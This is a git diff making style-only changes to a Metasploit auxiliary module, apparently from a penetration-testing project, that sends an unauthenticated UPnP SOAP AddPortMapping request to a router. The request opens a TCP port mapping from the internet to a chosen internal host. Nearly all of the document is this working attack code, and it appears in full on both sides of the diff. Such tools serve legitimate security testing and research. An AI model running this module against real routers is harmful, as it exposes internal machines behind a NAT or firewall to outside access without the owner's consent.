First pass at style cleanup
parent
3fd18e4844
commit
45c2422981
|
@ -6,64 +6,65 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'UPnP AddPortMapping',
|
'Name' => 'UPnP AddPortMapping',
|
||||||
'Version' => '$Revision: 1 $',
|
'Description' => 'UPnP AddPortMapping SOAP request',
|
||||||
'Description' => 'UPnP AddPortMapping SOAP request',
|
'Author' => 'St0rn <fabien@anbu-pentest.com>',
|
||||||
'Author' => 'St0rn <fabien@anbu-pentest.com>',
|
'License' => MSF_LICENSE
|
||||||
'License' => MSF_LICENSE
|
)
|
||||||
)
|
register_options(
|
||||||
register_options(
|
|
||||||
[
|
[
|
||||||
OptString.new('CTRL_URL', [ true, 'UPnP Control URL']),
|
OptString.new('CTRL_URL', [ true, 'UPnP Control URL']),
|
||||||
OptString.new('INTERNAL_CLIENT', [ true, 'New Internal Client']),
|
OptString.new('INTERNAL_CLIENT', [ true, 'New Internal Client']),
|
||||||
OptInt.new('INTERNAL_PORT', [ true, 'New Internal Port']),
|
OptInt.new('INTERNAL_PORT', [ true, 'New Internal Port']),
|
||||||
OptInt.new('EXTERNAL_PORT', [ true, 'New External Port'])
|
OptInt.new('EXTERNAL_PORT', [ true, 'New External Port'])
|
||||||
], self.class)
|
],
|
||||||
end
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
def run()
|
def run
|
||||||
ctrlurl = datastore['CTRL_URL']
|
ctrlurl = datastore['CTRL_URL']
|
||||||
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
|
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
|
||||||
|
|
||||||
content = "<?xml version=\"1.0\"?>"
|
content = "<?xml version=\"1.0\"?>"
|
||||||
content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
|
content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
|
||||||
content << "<SOAP-ENV:Body>"
|
content << "<SOAP-ENV:Body>"
|
||||||
content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
||||||
content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>"
|
content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>"
|
||||||
content << "<NewLeaseDuration>3600</NewLeaseDuration>"
|
content << "<NewLeaseDuration>3600</NewLeaseDuration>"
|
||||||
content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>"
|
content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>"
|
||||||
content << "<NewEnabled>1</NewEnabled>"
|
content << "<NewEnabled>1</NewEnabled>"
|
||||||
content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>"
|
content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>"
|
||||||
content << "<NewRemoteHost></NewRemoteHost>"
|
content << "<NewRemoteHost></NewRemoteHost>"
|
||||||
content << "<NewProtocol>TCP</NewProtocol>"
|
content << "<NewProtocol>TCP</NewProtocol>"
|
||||||
content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>"
|
content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>"
|
||||||
content << "</m:AddPortMapping>"
|
content << "</m:AddPortMapping>"
|
||||||
content << "</SOAP-ENV:Body>"
|
content << "</SOAP-ENV:Body>"
|
||||||
content << "</SOAP-ENV:Envelope>"
|
content << "</SOAP-ENV:Envelope>"
|
||||||
|
|
||||||
contentlen = content.length
|
contentlen = content.length
|
||||||
|
|
||||||
header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n"
|
header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n"
|
||||||
header << "Content-Type: text/xml;charset=\"utf-8\"\r\n"
|
header << "Content-Type: text/xml;charset=\"utf-8\"\r\n"
|
||||||
header << "SOAPAction: #{soapaction}\n\r"
|
header << "SOAPAction: #{soapaction}\n\r"
|
||||||
header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n"
|
header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n"
|
||||||
header << "Host: #{rhost}:#{rport}\r\n"
|
header << "Host: #{rhost}:#{rport}\r\n"
|
||||||
header << "Content-Length: #{contentlen}\r\n"
|
header << "Content-Length: #{contentlen}\r\n"
|
||||||
header << "\r\n"
|
header << "\r\n"
|
||||||
header << content
|
header << content
|
||||||
|
|
||||||
print_status("Sending SOAP Request")
|
print_status("Sending SOAP Request")
|
||||||
connect()
|
connect
|
||||||
sock.puts(header)
|
sock.puts(header)
|
||||||
resp=sock.recv(1024)
|
resp = sock.recv(1024)
|
||||||
if resp.include? "200 OK"
|
if resp.include? "200 OK"
|
||||||
print_good("PAT added successfully")
|
print_good("PAT added successfully")
|
||||||
else
|
else
|
||||||
print_error("Fail")
|
print_error("Fail")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue